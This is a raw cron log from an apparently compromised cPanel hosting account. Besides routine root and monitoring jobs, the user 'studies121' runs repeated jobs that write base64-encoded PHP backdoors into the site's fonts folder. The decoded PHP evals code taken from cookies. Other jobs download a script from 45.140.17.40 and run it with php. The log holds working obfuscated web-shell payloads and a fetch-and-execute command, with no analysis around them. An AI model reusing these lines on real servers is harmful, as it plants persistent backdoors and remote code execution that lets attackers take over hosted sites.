Sep  2 10:37:01 ip-184-168-122-23 CROND[31668]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:37:01 ip-184-168-122-23 CROND[31670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:37:01 ip-184-168-122-23 CROND[31672]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:37:01 ip-184-168-122-23 CROND[31674]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:38:01 ip-184-168-122-23 CROND[31790]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:38:01 ip-184-168-122-23 CROND[31792]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:38:01 ip-184-168-122-23 CROND[31794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:38:01 ip-184-168-122-23 CROND[31793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:38:01 ip-184-168-122-23 CROND[31795]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 10:39:01 ip-184-168-122-23 CROND[31926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:39:01 ip-184-168-122-23 CROND[31928]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 10:39:01 ip-184-168-122-23 CROND[31930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:39:01 ip-184-168-122-23 CROND[31929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:39:01 ip-184-168-122-23 CROND[31931]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:40:01 ip-184-168-122-23 CROND[32051]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 10:40:01 ip-184-168-122-23 CROND[32055]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 10:40:01 ip-184-168-122-23 CROND[32059]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 10:40:01 ip-184-168-122-23 CROND[32060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:40:01 ip-184-168-122-23 CROND[32063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:40:01 ip-184-168-122-23 CROND[32062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:40:01 ip-184-168-122-23 CROND[32067]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 10:40:01 ip-184-168-122-23 CROND[32068]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:41:01 ip-184-168-122-23 CROND[32250]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:41:01 ip-184-168-122-23 CROND[32247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:41:01 ip-184-168-122-23 CROND[32251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:41:01 ip-184-168-122-23 CROND[32254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:42:01 ip-184-168-122-23 CROND[32399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:42:01 ip-184-168-122-23 CROND[32398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:42:01 ip-184-168-122-23 CROND[32400]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 10:42:01 ip-184-168-122-23 CROND[32401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:42:01 ip-184-168-122-23 CROND[32407]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:43:01 ip-184-168-122-23 CROND[32535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:43:01 ip-184-168-122-23 CROND[32536]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:43:01 ip-184-168-122-23 CROND[32537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:43:01 ip-184-168-122-23 CROND[32539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:44:01 ip-184-168-122-23 CROND[32641]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:44:01 ip-184-168-122-23 CROND[32643]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 10:44:01 ip-184-168-122-23 CROND[32645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:44:01 ip-184-168-122-23 CROND[32644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:44:01 ip-184-168-122-23 CROND[32646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:45:01 ip-184-168-122-23 CROND[32766]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 10:45:01 ip-184-168-122-23 CROND[301]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:45:01 ip-184-168-122-23 CROND[300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:45:01 ip-184-168-122-23 CROND[314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:45:01 ip-184-168-122-23 CROND[315]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 10:45:01 ip-184-168-122-23 CROND[316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:46:01 ip-184-168-122-23 CROND[436]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 10:46:01 ip-184-168-122-23 CROND[439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:46:01 ip-184-168-122-23 CROND[437]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 10:46:01 ip-184-168-122-23 CROND[440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:46:01 ip-184-168-122-23 CROND[444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:46:01 ip-184-168-122-23 CROND[438]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:46:01 ip-184-168-122-23 CROND[441]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 10:47:01 ip-184-168-122-23 CROND[560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:47:01 ip-184-168-122-23 CROND[561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:47:01 ip-184-168-122-23 CROND[562]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:47:01 ip-184-168-122-23 CROND[563]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:48:01 ip-184-168-122-23 CROND[711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:48:01 ip-184-168-122-23 CROND[709]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 10:48:01 ip-184-168-122-23 CROND[715]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 10:48:01 ip-184-168-122-23 CROND[717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:48:01 ip-184-168-122-23 CROND[718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 10:49:01 ip-184-168-122-23 CROND[891]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
